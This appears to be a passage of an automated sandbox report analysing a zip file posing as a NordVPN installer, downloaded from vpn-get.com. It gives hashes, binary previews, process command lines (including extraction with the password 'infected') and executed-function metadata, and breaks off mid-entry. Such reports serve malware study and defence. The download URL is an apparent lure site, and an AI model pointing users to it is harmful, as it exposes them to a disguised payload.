Preview:	PK...........T................data/PK..........AM..D..H..........data/adbeape.dll.ZktSWv..,#L..C.......M.g....C.9.k...y.@.L.q&<<X..L3&...X.....43]3..m..ia..%...6/.&@H.....A....y..}...b..?..ZK....>...;....#..A.....>..<.............#..3.G.]T.\|..f...6.^.xf.......<..T......oA.c..5.N...<.&.\|A.[..Vw..Yr.......ig.7.k.3..neT........b..].X...........F....K.a.+..a.'.e..d.0.PA.%./\|.`..A.7......U.s#...P.1.;./...../.?.".....,.. ..Y.#..f..........s.v.p..r.j.}.T..[.p.l..h..#...............S..\|.h....L.....v4..v.5.a.....FG..M...M.6......=.n#4\|..m..}).].....C{5.>L...G.p....bB}...9..}...@S1..+.nt?uBj.Z.[#...f.X.&.s.&d..R(.....`...W8-K...jWA-...^h..%hq....zLY3.:..BW8.@.c...Th.f.Tz..."..}.l\|n.v.a($$..y.m..P.....'s......$.Dga.1.......CY@.Z..FA.6.#5..........H......d...(.....9..7...G?.U..C.....@h.j#;.u..B.........\.e...X.&.....H...j..b}.@.98..Ff.F.2.y>3$..m}..m1K.Pl..... ..B.B.ZW.J..p..e.g......N..`.Z.:.T.............e.E.....Qg.y.....Cu9.pl...D.......z.......T...3(.T.....

C:\Users\user\Downloads\NordVPN-7_8.zip (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	117355527
Entropy (8bit):	7.9971742035159465
Encrypted:	true
SSDEEP:
MD5:	B9D1DE8FCDD1B35AD87BBB07969A56FB
SHA1:	924E79653394F42780596AE9BAB6B55E1E89497A
SHA-256:	DCD08781249FC8A947F93865079A4B16DB20CB8E22211FEFF1AF0487B9E38783
SHA-512:	CCB5F947AF34EBCB45CD96613F7967F9E28ACE2142891E74C9814796D284C70C76E0B7561D7C25E86DF7F3C6E59A9856944374CBEE9C786A25081BA19D368F88
Malicious:	false
Reputation:	low
Preview:	PK...........T................data/PK..........AM..D..H..........data/adbeape.dll.ZktSWv..,#L..C.......M.g....C.9.k...y.@.L.q&<<X..L3&...X.....43]3..m..ia..%...6/.&@H.....A....y..}...b..?..ZK....>...;....#..A.....>..<.............#..3.G.]T.\|..f...6.^.xf.......<..T......oA.c..5.N...<.&.\|A.[..Vw..Yr.......ig.7.k.3..neT........b..].X...........F....K.a.+..a.'.e..d.0.PA.%./\|.`..A.7......U.s#...P.1.;./...../.?.".....,.. ..Y.#..f..........s.v.p..r.j.}.T..[.p.l..h..#...............S..\|.h....L.....v4..v.5.a.....FG..M...M.6......=.n#4\|..m..}).].....C{5.>L...G.p....bB}...9..}...@S1..+.nt?uBj.Z.[#...f.X.&.s.&d..R(.....`...W8-K...jWA-...^h..%hq....zLY3.:..BW8.@.c...Th.f.Tz..."..}.l\|n.v.a($$..y.m..P.....'s......$.Dga.1.......CY@.Z..FA.6.#5..........H......d...(.....9..7...G?.U..C.....@h.j#;.u..B.........\.e...X.&.....H...j..b}.@.98..Ff.F.2.y>3$..m}..m1K.Pl..... ..B.B.ZW.J..p..e.g......N..`.Z.:.T.............e.E.....Qg.y.....Cu9.pl...D.......z.......T...3(.T.....

C:\Users\user\Downloads\NordVPN-7_8.zip.crdownload

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	117355527
Entropy (8bit):	7.9971742035159465
Encrypted:	true
SSDEEP:
MD5:	B9D1DE8FCDD1B35AD87BBB07969A56FB
SHA1:	924E79653394F42780596AE9BAB6B55E1E89497A
SHA-256:	DCD08781249FC8A947F93865079A4B16DB20CB8E22211FEFF1AF0487B9E38783
SHA-512:	CCB5F947AF34EBCB45CD96613F7967F9E28ACE2142891E74C9814796D284C70C76E0B7561D7C25E86DF7F3C6E59A9856944374CBEE9C786A25081BA19D368F88
Malicious:	false
Reputation:	low
Preview:	PK...........T................data/PK..........AM..D..H..........data/adbeape.dll.ZktSWv..,#L..C.......M.g....C.9.k...y.@.L.q&<<X..L3&...X.....43]3..m..ia..%...6/.&@H.....A....y..}...b..?..ZK....>...;....#..A.....>..<.............#..3.G.]T.\|..f...6.^.xf.......<..T......oA.c..5.N...<.&.\|A.[..Vw..Yr.......ig.7.k.3..neT........b..].X...........F....K.a.+..a.'.e..d.0.PA.%./\|.`..A.7......U.s#...P.1.;./...../.?.".....,.. ..Y.#..f..........s.v.p..r.j.}.T..[.p.l..h..#...............S..\|.h....L.....v4..v.5.a.....FG..M...M.6......=.n#4\|..m..}).].....C{5.>L...G.p....bB}...9..}...@S1..+.nt?uBj.Z.[#...f.X.&.s.&d..R(.....`...W8-K...jWA-...^h..%hq....zLY3.:..BW8.@.c...Th.f.Tz..."..}.l\|n.v.a($$..y.m..P.....'s......$.Dga.1.......CY@.Z..FA.6.#5..........H......d...(.....9..7...G?.U..C.....@h.j#;.u..B.........\.e...X.&.....H...j..b}.@.98..Ff.F.2.y>3$..m}..m1K.Pl..... ..B.B.ZW.J..p..e.g......N..`.Z.:.T.............e.E.....Qg.y.....Cu9.pl...D.......z.......T...3(.T.....

Target ID:	0
Start time:	00:07:20
Start date:	30/11/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank
Imagebase:	0x7ff683680000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	1
Start time:	00:07:21
Start date:	30/11/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1952 --field-trial-handle=1816,i,5108959396523626248,12215149392874120257,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff683680000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	2
Start time:	00:07:22
Start date:	30/11/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Google\Chrome\Application\chrome.exe" "https://vpn-get.com/nordvpn
Imagebase:	0x7ff683680000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	5
Start time:	00:08:24
Start date:	30/11/2022
Path:	C:\Windows\SysWOW64\unarchiver.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\NordVPN-10_11.zip
Imagebase:	0x7b0000
File size:	12800 bytes
MD5 hash:	B89F9ADB5A6E465B6EB4575913CD2687
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Show Windows behavior

Target ID:	6
Start time:	00:08:27
Start date:	30/11/2022
Path:	C:\Windows\SysWOW64\7za.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\boe55dv2.gbx" "C:\Users\user\Downloads\NordVPN-10_11.zip
Imagebase:	0x1390000
File size:	289792 bytes
MD5 hash:	77E556CDFDC5C592F5C46DB4127C6F4C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	7
Start time:	00:08:27
Start date:	30/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	8
Start time:	00:09:09
Start date:	30/11/2022
Path:	C:\Windows\SysWOW64\unarchiver.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\NordVPN-7_8.zip
Imagebase:	0x9c0000
File size:	12800 bytes
MD5 hash:	B89F9ADB5A6E465B6EB4575913CD2687
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Show Windows behavior

Target ID:	9
Start time:	00:09:12
Start date:	30/11/2022
Path:	C:\Windows\SysWOW64\7za.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l" "C:\Users\user\Downloads\NordVPN-7_8.zip
Imagebase:	0x1390000
File size:	289792 bytes
MD5 hash:	77E556CDFDC5C592F5C46DB4127C6F4C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	10
Start time:	00:09:12
Start date:	30/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Function 02B10788 Relevance: 4.0, Strings: 3, Instructions: 278COMMON

Download Yara Rule

Strings

:@"r, xrefs: 02B10895
X1Ir, xrefs: 02B10946
:@"r, xrefs: 02B10802

Memory Dump Source

Source File: 00000005.00000002.565707242.0000000002B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b10000_unarchiver.jbxd

Similarity

API ID:
String ID: :@"r$:@"r$X1Ir
API String ID: 0-227455504
Opcode ID: 3fd58170ff6e94bf1f7aff67a51c69056d4a847b69403e1828a3b71a3965970b
Instruction ID: 90856185ec639d28e91f7369184a7485e40445a98318dd0b40e963999f3b9edd
Opcode Fuzzy Hash: 3fd58170ff6e94bf1f7aff67a51c69056d4a847b69403e1828a3b71a3965970b
Instruction Fuzzy Hash: C1A15030B00214DFDB19AB79D865B7E7AE3EF88304F148928E90597398EF749D42DB61

Uniqueness

Uniqueness Score: -1.00%

Function 02B10779 Relevance: 2.7, Strings: 2, Instructions: 227COMMON

Download Yara Rule

Strings

X1Ir, xrefs: 02B10946
:@"r, xrefs: 02B10802

Memory Dump Source

Source File: 00000005.00000002.565707242.0000000002B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b10000_unarchiver.jbxd

Similarity

API ID:
String ID: :@"r$X1Ir
API String ID: 0-3936541954
Opcode ID: 830bee7b84586ca840da6ecb931e6be530f737ff6370cbe18e003c6641f28f21
Instruction ID: e75086b7ca0203ea53ecd2f52295c25e15ef07a71c8ad716d6e3186b2381cb7e
Opcode Fuzzy Hash: 830bee7b84586ca840da6ecb931e6be530f737ff6370cbe18e003c6641f28f21
Instruction Fuzzy Hash: C2816030B00215CFDB25EB78D86576E7BF2EF88304F148869D90597398EB749D82CB61

Uniqueness

Uniqueness Score: -1.00%

Function 011E0872 Relevance: 1.0, Instructions: 977COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.565437786.00000000011E0000.00000040.00000020.00020000.00000000.sdmp, Offset: 011E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11e0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94ea005d979356e1d1ee46b4a239e761dfe1b9bbb85600072d54bba4dfd75aec
Instruction ID: 42551903fb139ae2a58f57cd3a10d73c857479312e6a9b55ae878eded66f0e1b
Opcode Fuzzy Hash: 94ea005d979356e1d1ee46b4a239e761dfe1b9bbb85600072d54bba4dfd75aec
Instruction Fuzzy Hash: 75116D6269E3C18FD3134B709C251947FF08E43230B1D49EBD8C4CA6A3E55C598AD362

Uniqueness

Uniqueness Score: -1.00%

Function 02B102C0 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.565707242.0000000002B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b10000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8febfe779b750f5a8022c9ceee0d0ba1513c1b07be5c6fc566df25ce01f70981
Instruction ID: d020038d943afe11c20fe4dd183727ed4085a1d28b08796dfbf24de7e3a4642a
Opcode Fuzzy Hash: 8febfe779b750f5a8022c9ceee0d0ba1513c1b07be5c6fc566df25ce01f70981
Instruction Fuzzy Hash: 83B15135601214EFC768FF64E964A5E7BB2FF98700B504968EE06DB368DB309D41DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02B10C79 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.565707242.0000000002B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b10000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b05dce0faab43dfb0bb05a830de58f57fa5c1af22e0cf8a9c40954a6c9fd1933
Instruction ID: c0886a566ef8049882319793be82953f5bc8c852c88b829bc81d9da075c5ad4a
Opcode Fuzzy Hash: b05dce0faab43dfb0bb05a830de58f57fa5c1af22e0cf8a9c40954a6c9fd1933
Instruction Fuzzy Hash: 8D213030B006048FCB59EB3E88106AE7BE6AFD9300B44486CD482DB380DF31DA06CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02B10C88 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.565707242.0000000002B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b10000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8c3ee81a78b787295d747998fc265959d8e1be796045dab7f50c5aca7367415
Instruction ID: f074848a215ce00d438bd380aaef5b9222bbb06eb9b3f64725986004c57fac9b
Opcode Fuzzy Hash: e8c3ee81a78b787295d747998fc265959d8e1be796045dab7f50c5aca7367415
Instruction Fuzzy Hash: 50210230B006048FCB58EB3E88506AFBBD6AFD5700B44482CD446DB380DF75E9468BA5

Uniqueness

Uniqueness Score: -1.00%

Function 02B10B6F Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.565707242.0000000002B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b10000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8afe7065e6e1f2b923634a6a663c8dffb15f1bc109af8d7fb6f6ee76ac7b6ab3
Instruction ID: a24cbdbbcdb83a0db76857e18e540390bbff6996a9de05b92359fdb80543f2e5
Opcode Fuzzy Hash: 8afe7065e6e1f2b923634a6a663c8dffb15f1bc109af8d7fb6f6ee76ac7b6ab3
Instruction Fuzzy Hash: 9611B632A10118AFCB559FB8D854D9E7FF6BF88310B054979E605E7364DA31D909CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02B10B80 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.565707242.0000000002B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b10000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49ce1e65bc35076929c5e63e537704484b64a2bc714327635de712b2f8463071
Instruction ID: 754da028da3fdf7a86ea7517f539c57963bad8b189ee156d798c7e21122588e0
Opcode Fuzzy Hash: 49ce1e65bc35076929c5e63e537704484b64a2bc714327635de712b2f8463071
Instruction Fuzzy Hash: 8D115132B10118AFCB65ABB8D854D9E7FF6BF88310B054979E205E7364DA31991ACB90

Uniqueness

Uniqueness Score: -1.00%

Function 011E07F7 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.565437786.00000000011E0000.00000040.00000020.00020000.00000000.sdmp, Offset: 011E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11e0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adf03bc82c9a033c95daf0a38a348f492876774b01c3ea1b5643f1cf7f68daf8
Instruction ID: d6c93504f87c421fa48e7b237c7be52a0b64b13427d9692125970ce99cf2c6e0
Opcode Fuzzy Hash: adf03bc82c9a033c95daf0a38a348f492876774b01c3ea1b5643f1cf7f68daf8
Instruction Fuzzy Hash: 530175B640D7446FD301CB15AC41856BBF8DF86610B09C9AAFD489B202D265A9198BA2

Uniqueness

Uniqueness Score: -1.00%

Function 011E05D2 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.565437786.00000000011E0000.00000040.00000020.00020000.00000000.sdmp, Offset: 011E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11e0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2a4210ef4b0a305c6b3792e77c7420bf47674bd6d3c554aae82a623bf4648f2
Instruction ID: e39675ac9649666a91c0813b51f18e32fb4214d0234967a9a9dbf6bbbf353d14
Opcode Fuzzy Hash: e2a4210ef4b0a305c6b3792e77c7420bf47674bd6d3c554aae82a623bf4648f2
Instruction Fuzzy Hash: A3F0A9B65097845FD711CB06EC40862FFA8DE86630709C59FEC49DB612D265A908CB76

Uniqueness

Uniqueness Score: -1.00%

Function 02B10DB1 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.565707242.0000000002B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b10000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e77eb60ffbb25244b024d078c7e10e70f619b3a42433cbcac9a8c2f9e02ed149
Instruction ID: 8a4c6d702af8d99ac735e5798a00beae737a663b5cf2964745dc107ede21b9fe
Opcode Fuzzy Hash: e77eb60ffbb25244b024d078c7e10e70f619b3a42433cbcac9a8c2f9e02ed149
Instruction Fuzzy Hash: F0F096312082448FC7166775D829A693FA15F86314F498AE6D4448F6B2D730D881CB51

Uniqueness

Uniqueness Score: -1.00%

Function 011E081E Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.565437786.00000000011E0000.00000040.00000020.00020000.00000000.sdmp, Offset: 011E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11e0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dede683716d8d7be2271ff3a1f247953aa97dabe7ddacd732e6ad95f514830ac
Instruction ID: 9fb8fafe59003df324d56091fcda8a821727cd9ccc32f47fe1ccc4f1b5ec2e68
Opcode Fuzzy Hash: dede683716d8d7be2271ff3a1f247953aa97dabe7ddacd732e6ad95f514830ac
Instruction Fuzzy Hash: 1EF082B28452046FD240DF09EC41866F7ECDF95621B14C56EEC088B301E276A9158AE2

Uniqueness

Uniqueness Score: -1.00%

Function 02B10C30 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.565707242.0000000002B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b10000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d69cf08c4e21f090184d5b433690c1c6da71254b3dbd4a8be7ff2796364e9a03
Instruction ID: 134b9c2a38f3d4716dcb3d5ffbd5fbe1e20194915c44067760da60186ed3b284
Opcode Fuzzy Hash: d69cf08c4e21f090184d5b433690c1c6da71254b3dbd4a8be7ff2796364e9a03
Instruction Fuzzy Hash: F1E09231F082186FCB54DABC58505EE7FA1DB46350F0249BED008E7241D9368C06C740

Uniqueness

Uniqueness Score: -1.00%

Function 011E05F6 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.565437786.00000000011E0000.00000040.00000020.00020000.00000000.sdmp, Offset: 011E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11e0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9042aeaf4265504fe4054544c85c13a2ab666fda30daf637144fa31e6cb33af1
Instruction ID: 719daf79683161d0dc8a8dcf1f9d1580f3601d88eec6311c55c6b0f173fd6183
Opcode Fuzzy Hash: 9042aeaf4265504fe4054544c85c13a2ab666fda30daf637144fa31e6cb33af1
Instruction Fuzzy Hash: DDE092766446044BD650CF0AEC81452F7D8EB84731B18C17FDC0D8B701D17AF504CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 02B10C40 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.565707242.0000000002B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b10000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f52ccc5d5c0915df936d59ba8e660e2f738f5999db793b9991073aad718fdf0
Instruction ID: 5bcaa7522e33bc4cd9ad9a78c98224a558725988fb92589d6d4af3433a0a0885
Opcode Fuzzy Hash: 1f52ccc5d5c0915df936d59ba8e660e2f738f5999db793b9991073aad718fdf0
Instruction Fuzzy Hash: A7D01231F0431C6BCB58EABD585056E7EEADB84650F11847D9008D7340ED329D418380

Uniqueness

Uniqueness Score: -1.00%

Function 02B10DC0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.565707242.0000000002B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b10000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac3dfe9de694e2c8466c93b1e316057252586aab0ca6839e8c4026a602759c34
Instruction ID: 5378c5cb864c500e6b84ed7d06ee6f10f8cca939aca365952ffd40f02f7e0dd9
Opcode Fuzzy Hash: ac3dfe9de694e2c8466c93b1e316057252586aab0ca6839e8c4026a602759c34
Instruction Fuzzy Hash: 08C012302002048BC718B768D919E267BE65784704F44CEA4A8080B361DB30E880C680

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: unarchiver.exePID: 2756, Parent PID: 4664COMMON

Execution Graph

Execution Coverage:	18%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	60
Total number of Limit Nodes:	3

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0108B1D6 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 0108B208

Memory Dump Source

Source File: 00000008.00000002.564928453.000000000108A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_108a000_unarchiver.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 9099023c4cf679f30125ac6362ab54785812ff2ce28d6fc96f151365382a8cfe
Instruction ID: c2ad1370a023f62fc81d66248f2821eb79edfd10f51ed2f40bfbee7511fec7ca
Opcode Fuzzy Hash: 9099023c4cf679f30125ac6362ab54785812ff2ce28d6fc96f151365382a8cfe
Instruction Fuzzy Hash: 50018F704082409FDB10DF19E989769FBD4DF44320F08C0AADD898F316D279A444CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02C80779 Relevance: 4.0, Strings: 3, Instructions: 284
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

X1Ir, xrefs: 02C80946
:@"r, xrefs: 02C80802
:@"r, xrefs: 02C80895

Memory Dump Source

Source File: 00000008.00000002.565429161.0000000002C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2c80000_unarchiver.jbxd

Similarity

API ID:
String ID: :@"r$:@"r$X1Ir
API String ID: 0-227455504
Opcode ID: 6c7d9174efc9d8d5aaa23aba9473a41d95a96ace6281ab37d389c83b482c1baa
Instruction ID: a94bb3f9c62030ce7a5bce4c7017a6b4d962d23f35e380c1fc5453dc0d82312b
Opcode Fuzzy Hash: 6c7d9174efc9d8d5aaa23aba9473a41d95a96ace6281ab37d389c83b482c1baa
Instruction Fuzzy Hash: 20A16E34B002049FDB19BB78D464B7EBAE7AFC8304F148829E5459B398EF799D42CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0108B246 Relevance: 1.6, APIs: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E2C), ref: 0108B2F3

Memory Dump Source

Source File: 00000008.00000002.564928453.000000000108A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_108a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: a74faa477b71bf7e42916923f21149fb131f57071a639acdc9287a613f2a7b06
Instruction ID: 0a54a80459a0207c536531a0e6c722ef80e6151fb950afa0b479f9bc4a02ee89
Opcode Fuzzy Hash: a74faa477b71bf7e42916923f21149fb131f57071a639acdc9287a613f2a7b06
Instruction Fuzzy Hash: 3931D5714043446FEB228B25DC44FA6BFECEF46320F0484AAFD85DB152D224A909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0108AB76 Relevance: 1.6, APIs: 1, Instructions: 97
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreatePipe.KERNELBASE(?,00000E2C,?,?), ref: 0108AC36

Memory Dump Source

Source File: 00000008.00000002.564928453.000000000108A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_108a000_unarchiver.jbxd

Similarity

API ID: CreatePipe
String ID:
API String ID: 2719314638-0
Opcode ID: 2b25191b7868b5740537ae31b434dd3ff67060de3290fcd2befc515631bb6b47
Instruction ID: 635e581d2beba02fffb0f7ee5d10ad6062bf9d2c35a40cc9cc4bc3c5838ff26e
Opcode Fuzzy Hash: 2b25191b7868b5740537ae31b434dd3ff67060de3290fcd2befc515631bb6b47
Instruction Fuzzy Hash: 8131AC7150E3C06FD3039B659C61A61BFB4AF47260F0E80DBE8C48B5A3D228A909C772

Uniqueness

Uniqueness Score: -1.00%

Function 0108AD04 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E2C), ref: 0108ADA7

Memory Dump Source

Source File: 00000008.00000002.564928453.000000000108A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_108a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: db304ac46104897655bba4536ac95613eb72f185cd98a704da2f6827b80e0483
Instruction ID: 970c27ef0556a2285d91cfe6e846ba319883fd7e36fa587544cf8062b32d5298
Opcode Fuzzy Hash: db304ac46104897655bba4536ac95613eb72f185cd98a704da2f6827b80e0483
Instruction Fuzzy Hash: D931B372104384AFEB228F65DC44FA7BFECEF45320F0488AAF985DB552D224A509CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0108A5DC Relevance: 1.6, APIs: 1, Instructions: 90
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0108A67D

Memory Dump Source

Source File: 00000008.00000002.564928453.000000000108A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_108a000_unarchiver.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 528c1b944143624f7aae386f7ac28c6148ea75391f6c1acb1daca2c4d103443f
Instruction ID: 3f1b633dea7178e3918bae351806acacc10e6e2012a34f07ef084ba4b72aeca8
Opcode Fuzzy Hash: 528c1b944143624f7aae386f7ac28c6148ea75391f6c1acb1daca2c4d103443f
Instruction Fuzzy Hash: DE31B171604380AFE722CF29DC44F62BFE8EF49224F08849EE9858B652D375E409CB31

Uniqueness

Uniqueness Score: -1.00%

Function 0108AD2A Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

